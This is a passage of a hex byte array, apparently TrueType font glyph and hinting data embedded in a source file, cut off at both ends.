0x2,0xf7,0x4,0x3c,0xfc,0x9c,0x7c,0xfe,0x47,0x4,0xd3,0xfe,0x2c,0x82,0xfe,0x5, + 0x82,0x1,0x1f,0xfe,0xe1,0x5,0x55,0x82,0xfc,0xce,0x3,0x32,0xfc,0xce,0x0,0x0, + 0x2,0x0,0x4c,0xff,0xf2,0x7,0xa0,0x5,0x63,0x0,0x19,0x0,0x2b,0x0,0x81,0xb4, + 0x0,0x5,0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0x19,0x18, + 0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x28,0x1,0x10,0xdd,0xb2,0x29,0xf,0x28,0x10, + 0xc4,0xc0,0x40,0x9,0x17,0x16,0x15,0xa,0x9,0x8,0x6,0x1,0x28,0x11,0x12,0x17, + 0x39,0xb1,0x1e,0xf,0x10,0xcd,0x0,0xb1,0x8,0x7,0x2f,0x3c,0xb1,0x2,0x1,0x2f, + 0x3c,0xb1,0x18,0x17,0x2f,0x3c,0xb2,0x4,0x3,0x1,0x10,0xdd,0x3c,0xb5,0xa,0x9, + 0x6,0x5,0x3,0x7,0x10,0x17,0xdd,0x3c,0xb5,0x0,0x19,0x16,0x15,0x3,0x17,0x10, + 0x17,0xdd,0x3c,0xb4,0x1,0x29,0x15,0x2,0x0,0x13,0x11,0x12,0x39,0x13,0xb3,0x13, + 0x1,0xc,0x0,0x3f,0x3f,0xb3,0x23,0xc,0x1a,0x13,0x10,0xcd,0x10,0xcd,0x31,0x30, + 0x1,0x11,0x21,0x15,0x21,0x11,0x21,0x15,0x21,0x37,0x23,0x6,0x21,0x20,0x26,0x11, + 0x10,0x37,0x36,0x21,0x20,0x17,0x33,0x27,0x21,0x15,0x25,0x20,0x6,0x11,0x15,0x14, + 0x17,0x1e,0x1,0x33,0x20,0x36,0x35,0x3f,0x1,0x27,0x2e,0x1,0x4,0xd1,0x2,0xb1, + 0xfd,0x4f,0x2,0xcf,0xfc,0x9c,0x4,0x4,0x5c,0xfe,0xc3,0xfe,0x86,0xdd,0x28,0x56, + 0x1,0xad,0x1,0x6d,0x58,0x4,0x4,0x3,0x64,0xfa,0xa5,0xfe,0xfd,0x63,0xa,0x11, + 0x99,0xeb,0x1,0x1e,0x96,0x1,0x4,0x7,0x10,0xa5,0x4,0xc7,0xfe,0x3b,0x82,0xfe, + 0x7,0x82,0x82,0x95,0xc6,0x1,0x53,0x2,0xd,0x69,0xe2,0x9c,0x82,0x82,0x1a,0xa7, + 0xfe,0x4c,0x8d,0x68,0x48,0x85,0x50,0x76,0xe1,0xd7,0xd2,0x8d,0x94,0x4c,0x0,0x0, + 0x3,0x0,0x14,0xff,0xf2,0x4,0xf4,0x5,0x63,0x0,0x13,0x0,0x1e,0x0,0x27,0x0, + 0x75,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0x40,0x10,0xe,0x4,0x27, + 0x1f,0x1e,0x1c,0x14,0x13,0xe,0xc,0x9,0x4,0x2,0xb,0xa,0x1,0x11,0x12,0x17, + 0x39,0x2f,0x2f,0xb3,0x25,0x4,0x1b,0xe,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x1,0xa, + 0x1,0x0,0x13,0x10,0xc0,0x13,0x40,0xd,0x1,0x1,0x27,0x14,0x13,0x2,0x1,0x0, + 0x6,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x40,0xd,0x1, + 0x1,0x1f,0x1e,0x1c,0xc,0xb,0x9,0x6,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12, + 0x17,0x39,0x13,0x14,0xb3,0x11,0x0,0x7,0x1,0x3f,0x3f,0xb3,0x22,0x7,0x17,0x11, + 0x10,0xcd,0x10,0xcd,0x31,0x30,0x37,0x35,0x37,0x26,0x11,0x10,0x36,0x21,0x20,0x17, + 0x37,0x15,0x7,0x16,0x11,0x10,0x6,0x21,0x20,0x27,0x37,0x1e,0x1,0x21,0x32,0x36, + 0x35,0x13,0x27,0x26,0x2f,0x1,0x2e,0x1,0x23,0x20,0x6,0x11,0x10,0x17,0x14,0x4c, + 0x22,0xc4,0x1,0x9c,0x1,0x73,0x62,0x81,0x4f,0x25,0xaf,0xfe,0x6d,0xfe,0x79,0x70, + 0x6f,0x2a,0x89,0x1,0x11,0xe9,0x89,0x1,0x8,0x2,0x7,0x1f,0x28,0x8a,0xf8,0xfe, + 0xf0,0x7c,0xf,0x7,0x98,0x49,0x74,0x1,0x61,0x1,0xcb,0xdb,0x89,0x7d,0x98,0x4d, + 0x76,0xfe,0xe0,0xfd,0xf8,0xe2,0x8f,0x6a,0x53,0x24,0x89,0xea,0x1,0x47,0x91,0x13, + 0x25,0x7b,0x4b,0x24,0x8c,0xfe,0xcc,0xfe,0xb9,0x75,0x0,0x0,0x2,0x0,0x4c,0xfe, + 0x7d,0x4,0x9a,0x5,0x63,0x0,0x1f,0x0,0x23,0x0,0x6d,0x40,0xc,0x23,0x22,0x21, + 0x20,0x1f,0x12,0x11,0x10,0x8,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e, + 0x2f,0x2e,0x2e,0x2e,0x2e,0xb1,0x19,0x8,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c, + 0xb1,0x12,0x11,0x2f,0x3c,0xb5,0x1,0x1f,0x2,0x1,0x0,0x0,0x13,0x11,0x12,0x39, + 0x39,0x13,0xb6,0x1,0x1,0x10,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13, + 0x14,0x40,0xb,0x1,0x1,0x23,0x22,0x21,0x20,0x4,0x0,0x0,0x3,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0xb3,0xd,0x1,0x5,0x0,0x3f,0x3f,0xb3,0x1c,0x5, + 0x16,0xd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x15,0x10,0x6,0x21,0x20,0x26, + 0x11,0x10,0x36,0x37,0x36,0x21,0x20,0x16,0x15,0x17,0x23,0x27,0x34,0x26,0x23,0x20, + 0x6,0x15,0x10,0x16,0x21,0x20,0x36,0x35,0x1,0x17,0x7,0x27,0x4,0x1,0x99,0xbe, + 0xfe,0x81,0xfe,0xa9,0xba,0x2a,0x63,0x74,0x1,0x81,0x1,0x5,0xb5,0x1,0x99,0x1, + 0x6b,0xbc,0xfe,0xb6,0x92,0x62,0x1,0x1e,0x1,0x10,0x87,0xfe,0x7e,0x70,0xa0,0x5b, + 0x1,0xc8,0x34,0xfe,0xe9,0x8b,0xf5,0x1,0xc6,0x1,0x63,0xb7,0x48,0x54,0xa2,0xe8, + 0x25,0x2a,0xa5,0x5e,0x6e,0xfa,0xfd,0xc1,0xc6,0x56,0xad,0xfe,0x25,0x3f,0xe0,0x31, + 0x0,0x0,0x2,0x0,0x59,0xff,0xf2,0x3,0x8c,0x3,0xca,0x0,0x1c,0x0,0x27,0x0, + 0x60,0xb1,0x8,0x7,0x2f,0x3c,0xb3,0x16,0x15,0x9,0x7,0x10,0xdd,0x3c,0x3c,0xb5, + 0x1b,0x14,0xf,0x1,0x0,0x9,0x10,0xc0,0xc0,0xc4,0xc0,0xc4,0xb6,0x25,0x25,0xb, + 0xa,0x3,0x7,0x9,0x11,0x12,0x17,0x39,0x2f,0xb1,0x20,0xf,0x10,0xcd,0x0,0xb1, + 0x9,0x8,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xb,0x12,0x16,0x15,0x14,0x12, + 0xb,0xa,0x7,0x7,0x1,0x8,0x11,0x12,0x17,0x39,0x2f,0xb3,0xd,0x0,0x4,0x2, + 0x3f,0x3f,0xb5,0x23,0xd,0x1d,0x12,0x19,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31, + 0x30,0x1,0x23,0x34,0x36,0x33,0x32,0x16,0x15,0x11,0x23,0x37,0x27,0x6,0x23,0x20, + 0x11,0x34,0x36,0x33,0x32,0x17,0x37,0x35,0x34,0x26,0x23,0x20,0x15,0x14,0x17,0x22, + 0x6,0x15,0x14,0x16,0x33,0x20,0x35,0x34,0x26,0x1,0xd,0x8b,0x97,0xdc,0xef,0xa8, + 0x8c,0xb,0x3,0x50,0xf5,0xfe,0x96,0xa2,0xd4,0xfc,0x32,0x3,0x5a,0x98,0xfe,0xfe, + 0xe2,0xa1,0x61,0x60,0x93,0x1,0x28,0x73,0x2,0xb0,0xa7,0x73,0x8d,0xc6,0xfd,0x89, + 0x67,0x1,0x76,0x1,0x23,0xad,0x84,0x63,0x1,0x74,0xa4,0x61,0x91,0x7,0xec,0x44, + 0x70,0x74,0x4b,0xb4,0x71,0x4e,0x0,0x0,0x2,0x0,0x7b,0xff,0xf2,0x3,0xb6,0x5, + 0x55,0x0,0x10,0x0,0x1c,0x0,0x59,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x10,0x3,0x2, + 0x1,0x10,0xdd,0x3c,0x3c,0xb3,0x14,0x9,0x4,0x2,0x10,0xc0,0xc4,0xc4,0xb3,0xf, + 0xe,0x2,0x1,0x11,0x12,0x39,0x39,0xb1,0x1a,0x9,0x10,0xcd,0x0,0xb4,0x1,0x2, + 0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x0,0x10,0x2f,0x3c,0x40,0x9,0x1, + 0xf,0xe,0x4,0x3,0x4,0x2,0x0,0x10,0x11,0x14,0x12,0x17,0x39,0x14,0xb3,0xc, + 0x0,0x6,0x2,0x3f,0x3f,0xb3,0x17,0xc,0x11,0x6,0x10,0xcd,0x10,0xcd,0x31,0x30, + 0x33,0x11,0x33,0x11,0x17,0x36,0x21,0x32,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x7, + 0x17,0x1,0x22,0x6,0x15,0x10,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x7b,0x8c,0x3, + 0x30,0x1,0xa,0xd2,0xa0,0xa9,0xdd,0xe1,0x4b,0x4,0x7,0x1,0x19,0xa5,0x70,0x65, + 0xb6,0x9a,0x63,0x62,0x5,0x55,0xfd,0xed,0x3,0x8b,0xda,0xfe,0xe2,0xfe,0xf1,0xd1, + 0x85,0x1,0x76,0x3,0x56,0x8d,0xd2,0xfe,0xfd,0x8e,0x91,0xe1,0xed,0x91,0x0,0x0, + 0x1,0x0,0x5f,0xff,0xf2,0x3,0x99,0x3,0xca,0x0,0x1a,0x0,0x31,0xb6,0xf,0xe, + 0xd,0x7,0x2,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e,0x2e,0x2f,0xb1,0x15,0x7,0x10, + 0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c,0xb3,0xa,0x2,0x4, + 0x0,0x3f,0x3f,0xb3,0x18,0x4,0x12,0xa,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33, + 0x17,0x10,0x21,0x20,0x26,0x11,0x10,0x36,0x33,0x32,0x16,0x15,0x23,0x35,0x34,0x26, + 0x23,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x3,0xc,0x8c,0x1,0xfe,0x6e,0xfe, + 0xfe,0xa6,0xa9,0xed,0xe9,0xaa,0x8c,0x6e,0xa4,0x9e,0x5a,0x67,0xbd,0xa0,0x56,0x1, + 0x59,0x34,0xfe,0xcd,0xc2,0x1,0x2f,0x1,0x1c,0xcb,0x89,0xbd,0x19,0x6f,0x4a,0x8c, + 0xf4,0xee,0x82,0x55,0x0,0x0,0x2,0x0,0x61,0xff,0xf2,0x3,0x9a,0x5,0x55,0x0, + 0x10,0x0,0x1c,0x0,0x59,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x10,0xf,0x2,0x1,0x10, + 0xdd,0x3c,0x3c,0xb3,0x1a,0xe,0x9,0x2,0x10,0xc4,0xc0,0xc4,0xb3,0x4,0x3,0x1, + 0x2,0x11,0x12,0x39,0x39,0xb1,0x14,0x9,0x10,0xcd,0x0,0xb4,0x1,0x0,0x10,0x0, + 0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x40,0x9,0x1,0xf,0xe, + 0x4,0x3,0x4,0x2,0x0,0x1,0x11,0x14,0x12,0x17,0x39,0x14,0xb3,0xc,0x2,0x6, + 0x0,0x3f,0x3f,0xb3,0x17,0x6,0x11,0xc,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x11, + 0x23,0x37,0x27,0x6,0x23,0x22,0x26,0x11,0x10,0x36,0x33,0x20,0x17,0x37,0x11,0x1, + 0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x3,0x9a,0x8c,0x7,0x4, + 0x42,0xf1,0xdc,0xa1,0xa2,0xd1,0x1,0x5,0x32,0x3,0xfe,0xe7,0x9b,0x66,0x65,0x9f, + 0xad,0x68,0x73,0x5,0x55,0xfa,0xab,0x7c,0x1,0x8b,0xd6,0x1,0x24,0x1,0xd,0xd1, + 0x87,0x2,0x2,0x10,0xfe,0x1,0x8f,0xda,0xf0,0x97,0x97,0xfd,0xcd,0x8f,0x0,0x0, + 0x2,0x0,0x5f,0xff,0xf2,0x3,0xa4,0x3,0xca,0x0,0x16,0x0,0x1e,0x0,0x43,0x40, + 0x9,0x1e,0x17,0x16,0x10,0xf,0x8,0x2,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e,0x2e, + 0x2e,0x2e,0x2e,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x17,0x1e,0x2f,0x3c,0xb2,0x10, + 0xf,0x1e,0x10,0xdd,0x3c,0xb4,0x1,0x16,0x1,0x0,0x0,0x13,0x11,0x12,0x39,0x13, + 0xb3,0xb,0x2,0x5,0x0,0x3f,0x3f,0xb3,0x1b,0xb,0x13,0x5,0x10,0xcd,0x10,0xcd, + 0x31,0x30,0x1,0x33,0x17,0x14,0x6,0x23,0x20,0x26,0x11,0x10,0x36,0x33,0x20,0x16, + 0x11,0x15,0x21,0x14,0x16,0x33,0x32,0x36,0x35,0x11,0x27,0x34,0x26,0x23,0x22,0x6, + 0x15,0x3,0x14,0x8f,0x1,0xb5,0xe3,0xfe,0xf8,0xa5,0xa6,0xf2,0x1,0x8,0xa4,0xfd, + 0x50,0x61,0xb2,0xa9,0x65,0x1,0x66,0xa9,0xaa,0x65,0x1,0x21,0x23,0x95,0x77,0xc1, + 0x1,0x35,0x1,0x1e,0xc4,0xaa,0xfe,0xef,0x4b,0xe2,0x7c,0x3b,0x62,0x1,0x2e,0x2d, + 0x9b,0x5d,0x6d,0xb8,0x0,0x0,0x1,0x0,0xe,0x0,0x0,0x2,0x26,0x5,0x63,0x0, + 0x13,0x0,0x67,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0x0,0x5,0x4,0x1,0x3,0x17,0x2f, + 0x3c,0xb5,0x11,0x10,0xa,0x9,0x3,0x2,0x10,0x17,0xdd,0x3c,0xb5,0x13,0x12,0xf, + 0xe,0x3,0x1,0x10,0x17,0xdd,0x3c,0x0,0x40,0xc,0x1,0x12,0x11,0x2,0x1,0x2, + 0x10,0xf,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd, + 0xcd,0x13,0xb1,0x0,0x13,0x2f,0x3c,0xb3,0x1,0x9,0x1,0x0,0x13,0x10,0xc0,0x13, + 0xb7,0x1,0xe,0xa,0x5,0x3,0x1,0x0,0x3,0x11,0x14,0x12,0x17,0x39,0x14,0xb1, + 0x7,0x1,0x3f,0xb1,0xc,0x7,0x10,0xcd,0x31,0x30,0x33,0x11,0x23,0x35,0x33,0x35, + 0x10,0x21,0x32,0x17,0x15,0x26,0x23,0x22,0x1d,0x1,0x33,0x15,0x23,0x11,0xa0,0x92, + 0x92,0x1,0x21,0x2b,0x3a,0x44,0x1f,0x97,0xfa,0xfa,0x3,0x48,0x74,0x8e,0x1,0x19, + 0x7,0x74,0x7,0x98,0x9b,0x74,0xfc,0xb8,0x0,0x0,0x2,0x0,0x60,0xfe,0x56,0x3, + 0x9b,0x3,0xca,0x0,0x1c,0x0,0x28,0x0,0x71,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x1c, + 0xf,0xe,0x1,0x10,0xdd,0x3c,0x3c,0xb5,0x26,0x15,0x10,0x8,0x7,0xe,0x10,0xc0, + 0xc0,0xc0,0xc4,0xc4,0xb3,0x1b,0x1a,0x1,0xe,0x11,0x12,0x39,0x39,0xb1,0x20,0x15, + 0x10,0xcd,0x0,0xb4,0x1,0x0,0x1c,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x8, + 0x7,0x2f,0x3c,0xb5,0x1,0xe,0x1,0x0,0x0,0x7,0x11,0x14,0x12,0x39,0x39,0x14, + 0x40,0x9,0x1,0x1b,0x1a,0x10,0xf,0x4,0x1c,0x0,0x0,0x13,0x11,0x12,0x17,0x39, + 0x13,0xb5,0x18,0x2,0x12,0x0,0x4,0x3,0x3f,0x3f,0x3f,0xb5,0x23,0x12,0x1d,0x18, + 0xb,0x4,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x11,0x14,0x6,0x23,0x22, + 0x26,0x35,0x33,0x14,0x16,0x33,0x32,0x36,0x3d,0x1,0x27,0x6,0x21,0x22,0x26,0x11, + 0x10,0x36,0x33,0x32,0x17,0x37,0x27,0x5,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36, + 0x35,0x34,0x26,0x3,0x9b,0xb4,0xf0,0xd6,0x9c,0x87,0x5b,0x9a,0xa0,0x6e,0x3,0x36, + 0xfe,0xfe,0xd4,0xa0,0xa3,0xdd,0xeb,0x48,0x3,0x7,0xfe,0xeb,0xa5,0x62,0x62,0xa5, + 0xa7,0x6a,0x6a,0x3,0xbc,0xfc,0x6,0xd0,0x9c,0x84,0xb5,0x7b,0x4a,0x60,0x8c,0xc0, + 0x1,0x85,0xd1,0x1,0x15,0x1,0x1f,0xd3,0x90,0x1,0x81,0x66,0x8b,0xeb,0xed,0x8d, + 0x9b,0xf5,0xd8,0x88,0x0,0x0,0x1,0x0,0x7b,0x0,0x0,0x3,0x9a,0x5,0x55,0x0, + 0x13,0x0,0x5b,0xb1,0x13,0x12,0x2f,0x3c,0xb2,0x8,0x7,0x6,0x2f,0x3c,0x3c,0xb5, + 0x0,0x11,0x10,0x1,0x3,0x12,0x10,0x17,0xdd,0x3c,0xb3,0xb,0xa,0x9,0x6,0x10, + 0xdd,0x3c,0x3c,0xb2,0x2,0x9,0x1,0x11,0x12,0x39,0x0,0xb4,0x1,0x0,0x13,0x0, + 0x0,0x13,0x10,0xcd,0xcd,0x13,0xb4,0x12,0x11,0x9,0x8,0x3,0x17,0x2f,0x3c,0x40, + 0xc,0x1,0x10,0xb,0xa,0x7,0x6,0x2,0x1,0x7,0x2,0x0,0x8,0x11,0x14,0x12, + 0x17,0x39,0x14,0xb1,0x4,0x2,0x3f,0xb1,0xd,0x4,0x10,0xcd,0x31,0x30,0x1,0x11, + 0x17,0x36,0x33,0x20,0x11,0x15,0x11,0x23,0x11,0x35,0x34,0x23,0x22,0x6,0x15,0x11, + 0x23,0x11,0x1,0x7,0x3,0x35,0xf3,0x1,0x68,0x8c,0xdd,0xb2,0x78,0x8c,0x5,0x55, + 0xfd,0xf1,0x2,0x86,0xfe,0xc0,0x27,0xfd,0x9d,0x2,0x63,0x1b,0xd8,0x7f,0xbd,0xfd, + 0xe6,0x5,0x55,0x0,0x2,0x0,0x7b,0x0,0x0,0x1,0x7,0x5,0x55,0x0,0x3,0x0, + 0x7,0x0,0x38,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x0,0x1, + 0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x6,0x10,0xdd,0x3c,0x0,0x40,0xb,0x1,0x4, + 0x7,0x0,0x2,0x1,0x1,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0x13,0xb1,0x6,0x5,0x2f,0x3c,0x31,0x30,0x1,0x15,0x23,0x35,0x13, + 0x11,0x23,0x11,0x1,0x7,0x8c,0x8c,0x8c,0x5,0x55,0x9d,0x9d,0xfe,0x67,0xfc,0x44, + 0x3,0xbc,0x0,0x0,0x2,0xff,0xf6,0xfe,0x92,0x0,0xfe,0x5,0x55,0x0,0x3,0x0, + 0x12,0x0,0x5e,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x12,0x11, + 0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x11,0x10,0xdd,0x3c, + 0xb2,0xf,0x11,0xa,0x11,0x12,0x39,0x0,0x40,0xb,0x1,0x4,0x12,0x0,0x2,0x1, + 0x1,0x0,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13, + 0x40,0xc,0x1,0x1,0x11,0xf,0xb,0xa,0x5,0x5,0x0,0x0,0x3,0x0,0x13,0x11, + 0x14,0x12,0x17,0x39,0x13,0x14,0xb1,0x8,0x3,0x3f,0xb1,0xe,0x8,0x10,0xcd,0x31, + 0x30,0x13,0x15,0x23,0x35,0x13,0x11,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x33,0x3f, + 0x1,0x36,0x35,0x11,0xfe,0x8c,0x8c,0xc5,0x1d,0x26,0xc,0x4,0x12,0x3a,0x20,0x5, + 0x55,0x9d,0x9d,0xfe,0x67,0xfb,0xec,0x29,0xed,0x7,0x63,0x2,0x1,0x13,0x1b,0x7b, + 0x4,0x14,0x0,0x0,0x1,0x0,0x7b,0x0,0x0,0x3,0x93,0x5,0x55,0x0,0xc,0x0, + 0x51,0xb1,0xc,0xb,0x2f,0x3c,0xb5,0x0,0xa,0x9,0x1,0x3,0xb,0x10,0x17,0xdd, + 0x3c,0xb7,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x10,0xc0,0xc0,0xc0,0xc0,0xc0, + 0xc0,0xc0,0x0,0xb7,0x1,0x0,0xc,0x0,0x4,0x3,0x0,0x0,0x13,0x10,0xcd,0xcd, + 0x10,0xcd,0xcd,0x13,0xb4,0xb,0xa,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x2,0x1, + 0x2f,0x3c,0xb2,0x9,0x8,0x1,0x10,0xdd,0x3c,0xb2,0x5,0x1,0x8,0x11,0x12,0x39, + 0x31,0x30,0x1,0x11,0x33,0x1,0x33,0x9,0x1,0x23,0x1,0x23,0x11,0x23,0x11,0x1, + 0x7,0x40,0x1,0x52,0xb0,0xfe,0x67,0x1,0xe3,0xbd,0xfe,0x6a,0x39,0x8c,0x5,0x55, + 0xfc,0xe7,0x1,0x80,0xfe,0x49,0xfd,0xfb,0x1,0xcf,0xfe,0x31,0x5,0x55,0x0,0x0, + 0x1,0x0,0x7b,0x0,0x0,0x1,0x7,0x5,0x55,0x0,0x3,0x0,0x1f,0xb1,0x3,0x2, + 0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x0,0xb4,0x1,0x0,0x3,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x31,0x30,0x1,0x11,0x23,0x11, + 0x1,0x7,0x8c,0x5,0x55,0xfa,0xab,0x5,0x55,0x0,0x1,0x0,0x7b,0x0,0x0,0x6, + 0x5,0x3,0xca,0x0,0x1f,0x0,0x7b,0xb1,0x0,0x1f,0x2f,0x3c,0xb1,0x18,0x17,0x2f, + 0x3c,0xb1,0xd,0xc,0x2f,0x3c,0xb2,0x16,0x15,0x17,0x10,0xdd,0x3c,0xb3,0x1e,0x1d, + 0x1,0x1f,0x10,0xdd,0x3c,0x3c,0xb2,0xf,0xe,0xc,0x10,0xdd,0x3c,0xb3,0x3,0x2, + 0x1,0x1f,0x11,0x12,0x39,0x39,0xb2,0x19,0x17,0x1,0x11,0x12,0x39,0xb3,0x8,0x7, + 0x15,0x17,0x11,0x12,0x39,0x39,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,0x13,0x10,0xcd, + 0xcd,0x13,0xb6,0x1f,0x1e,0x17,0x16,0xe,0xd,0x5,0x17,0x2f,0x3c,0x40,0xd,0x1d, + 0x19,0x18,0x15,0xf,0xc,0x8,0x7,0x3,0x2,0xa,0x1,0xd,0x11,0x12,0x17,0x39, + 0xb3,0xa,0x2,0x5,0x2,0x3f,0x3f,0xb3,0x1b,0x5,0x12,0xa,0x10,0xcd,0x10,0xcd, + 0x31,0x30,0x13,0x33,0x7,0x17,0x36,0x33,0x32,0x17,0x33,0x36,0x33,0x20,0x19,0x1, + 0x23,0x11,0x34,0x26,0x23,0x22,0x6,0x15,0x11,0x23,0x11,0x27,0x34,0x23,0x20,0x19, + 0x1,0x23,0x7b,0x8c,0x3,0x3,0x51,0xe7,0xf3,0x34,0x4,0x5a,0xef,0x1,0x52,0x8c, + 0x5a,0x7d,0xa6,0x76,0x8c,0x2,0xd3,0xfe,0xe2,0x8c,0x3,0xbc,0x90,0x3,0xa1,0xa1, + 0xa1,0xfe,0xa7,0xfd,0x8f,0x2,0x7e,0x7e,0x5a,0x7d,0xb0,0xfd,0xd7,0x2,0x71,0x2c, + 0xb9,0xfe,0xc9,0xfd,0xe1,0x0,0x1,0x0,0x7b,0x0,0x0,0x3,0x9e,0x3,0xca,0x0, + 0x13,0x0,0x54,0xb1,0x0,0x13,0x2f,0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb2,0x12,0x11, + 0x13,0x10,0xdd,0x3c,0xb3,0xc,0xb,0xa,0x8,0x10,0xdd,0x3c,0x3c,0xb5,0x3,0x2, + 0x1,0x3,0x11,0x13,0x11,0x12,0x17,0x39,0x0,0xb4,0x1,0x0,0x1,0x0,0x0,0x13, + 0x10,0xcd,0xcd,0x13,0xb4,0x13,0x12,0xa,0x9,0x3,0x17,0x2f,0x3c,0x40,0x9,0x11, + 0xc,0xb,0x8,0x3,0x2,0x6,0x1,0x9,0x11,0x12,0x17,0x39,0xb1,0x5,0x2,0x3f, + 0xb1,0xf,0x5,0x10,0xcd,0x31,0x30,0x13,0x33,0x7,0x17,0x36,0x33,0x32,0x16,0x15, + 0x11,0x23,0x11,0x35,0x34,0x26,0x23,0x20,0x19,0x1,0x23,0x7b,0x87,0x4,0x4,0x40, + 0xfe,0xcd,0x91,0x8c,0x5e,0x86,0xfe,0xd9,0x8c,0x3,0xbc,0x82,0x3,0x93,0x90,0xcc, + 0xfd,0x92,0x2,0x62,0x24,0x7b,0x55,0xfe,0xe9,0xfd,0xc1,0x0,0x2,0x0,0x60,0xff, + 0xf2,0x3,0xad,0x3,0xca,0x0,0xb,0x0,0x17,0x0,0x21,0xb1,0x9,0x3,0x2f,0x2f, + 0xb3,0x15,0x3,0xf,0x9,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x6,0x0,0x0,0x2,0x3f, + 0x3f,0xb3,0x12,0x6,0xc,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x20,0x16,0x11, + 0x10,0x6,0x21,0x20,0x26,0x11,0x10,0x36,0x5,0x22,0x6,0x15,0x14,0x16,0x33,0x32, + 0x36,0x35,0x34,0x26,0x2,0x6,0x1,0x9,0x9e,0x9e,0xfe,0xf7,0xfe,0xf8,0x9e,0x9e, + 0x1,0x8,0xba,0x59,0x59,0xba,0xbb,0x59,0x59,0x3,0xca,0xb8,0xfe,0xcc,0xfe,0xcc, + 0xb8,0xb8,0x1,0x34,0x1,0x34,0xb8,0x74,0x79,0xff,0xff,0x79,0x79,0xff,0xff,0x79, + 0x0,0x0,0x2,0x0,0x7b,0xfe,0x66,0x3,0xb3,0x3,0xca,0x0,0x10,0x0,0x1c,0x0, + 0x5a,0xb1,0x0,0x10,0x2f,0x3c,0xb3,0xf,0xe,0x1,0x10,0x10,0xdd,0x3c,0x3c,0xb3, + 0x14,0xd,0x8,0x1,0x10,0xc4,0xc0,0xc4,0xb3,0x3,0x2,0x1,0x10,0x11,0x12,0x39, + 0x39,0xb1,0x1a,0x8,0x10,0xcd,0x0,0xb7,0x1,0x0,0x1,0x0,0x10,0xf,0x0,0x0, + 0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x40,0x9,0x1,0xe,0xd,0x3,0x2,0x4, + 0x1,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb3,0xb,0x0,0x5,0x2,0x3f,0x3f, + 0xb3,0x17,0xb,0x11,0x5,0x10,0xcd,0x10,0xcd,0x31,0x30,0x13,0x33,0x7,0x17,0x36, + 0x33,0x32,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x23,0x11,0x23,0x1,0x22,0x6,0x15, + 0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x7b,0x8c,0x7,0x4,0x49,0xf1,0xd5,0xa0, + 0xa2,0xcf,0xec,0x4c,0x3,0x8c,0x1,0x9c,0xa8,0x66,0x6e,0xa6,0x9e,0x65,0x62,0x3, + 0xbc,0x79,0x3,0x8a,0xd8,0xfe,0xde,0xfe,0xf3,0xd1,0x7f,0xfd,0xf5,0x4,0xf0,0x91, + 0xef,0xdd,0x93,0x8e,0xde,0xf4,0x90,0x0,0x2,0x0,0x60,0xfe,0x66,0x3,0x9a,0x3, + 0xca,0x0,0x10,0x0,0x1c,0x0,0x5a,0xb1,0x0,0x1,0x2f,0x3c,0xb3,0x10,0x3,0x2, + 